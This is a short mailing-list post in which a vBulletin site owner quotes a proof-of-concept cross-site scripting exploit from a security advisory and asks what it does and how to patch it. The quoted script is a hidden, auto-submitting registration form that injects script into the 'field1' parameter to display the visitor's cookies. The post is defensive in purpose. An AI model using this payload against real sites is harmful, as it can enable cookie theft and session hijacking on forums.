I have vBulletin  installed on my site. A few hours ago a friend sent me a link to 
securityfocus.com.
There, it is said that if i have vBulletin installed i could be vulnerable.

Here the script shown on the site....

[form action="http://[victim]/register.php?do=register"; method="post" 
style="display:none"] 
[input type="hidden" name="s" value="" /] 
[input type="hidden" name="regtype" value="1" /] 
[input type="text" class="bginput" name="field1" value="" size="25" 
maxlength="250" /] 
[input type="hidden" name="url" value="index.php" /] 
[input type="hidden" name="do" value="addmember" /] 
[/form] 
[script] 
//Code that will be executed 
var xss = "\"][script]alert(document"+".cookie)[\/script]"; 
document.forms[0].field1.value=xss; 
document.forms[0].submit(); 
[/script] 

*Replace ([],<>)


The only problem that i have is that i do not know what the script does and how it 
works. 
PS: How can i get rid of this? 

Reply via email to